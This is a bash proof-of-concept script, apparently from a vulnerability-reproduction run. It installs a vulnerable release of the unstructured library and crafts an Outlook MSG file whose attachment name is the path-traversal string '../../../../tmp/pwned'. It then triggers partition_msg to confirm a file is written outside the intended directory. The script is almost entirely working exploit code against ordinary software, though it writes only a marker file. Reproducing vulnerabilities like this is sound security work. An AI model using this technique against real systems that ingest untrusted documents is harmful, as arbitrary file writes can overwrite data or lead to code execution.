#!/usr/bin/env bash
set -euo pipefail

WORKDIR="/data/pruva/runs/0d8207ce-6bfc-43e4-8f63-3d1fe63d5fa9"
REPO="$WORKDIR/unstructured"
VENV="$WORKDIR/venv"

if [ ! -d "$REPO" ]; then
  git clone https://github.com/Unstructured-IO/unstructured.git "$REPO"
fi

# Checkout a vulnerable release tag (<=0.18.17). 0.18.15 is available in repo tags.
git -C "$REPO" checkout 0.18.15

python -m venv "$VENV"
"$VENV/bin/pip" install --upgrade pip
"$VENV/bin/pip" install python-oxmsg
"$VENV/bin/pip" install "$REPO"

# Build a malicious MSG by overwriting attachment filename with ../../../../tmp/pwned
"$VENV/bin/python" - <<'PY'
import shutil
from pathlib import Path
import olefile

workdir = Path("/data/pruva/runs/0d8207ce-6bfc-43e4-8f63-3d1fe63d5fa9")
src = workdir / "unstructured/example-docs/fake-email-multiple-attachments.msg"
mal = workdir / "unstructured/example-docs/fake-email-traversal.msg"
shutil.copy(src, mal)

# original filename stream is UTF-16LE, 42 bytes long; keep length the same
traversal = "../../../../tmp/pwned"  # length 21 -> 42 bytes utf-16le
new_bytes = traversal.encode("utf-16le")

ole = olefile.OleFileIO(str(mal), write_mode=True)
stream = "__attach_version1.0_#00000000/__substg1.0_3707001F"
ole.write_stream(stream, new_bytes)
ole.close()
print(f"Wrote malicious attachment name to {mal}")
PY

# Trigger partitioning; attachment is written before ImportError for missing image deps
"$VENV/bin/python" - <<'PY'
import os
from unstructured.partition.msg import partition_msg

msg_path = "/data/pruva/runs/0d8207ce-6bfc-43e4-8f63-3d1fe63d5fa9/unstructured/example-docs/fake-email-traversal.msg"
try:
    os.remove("/tmp/pwned")
except FileNotFoundError:
    pass

try:
    partition_msg(msg_path, process_attachments=True)
except Exception as e:
    print("partition error:", type(e), e)

print("/tmp/pwned exists:", os.path.exists("/tmp/pwned"))
if os.path.exists("/tmp/pwned"):
    print("/tmp/pwned size:", os.path.getsize("/tmp/pwned"))
PY
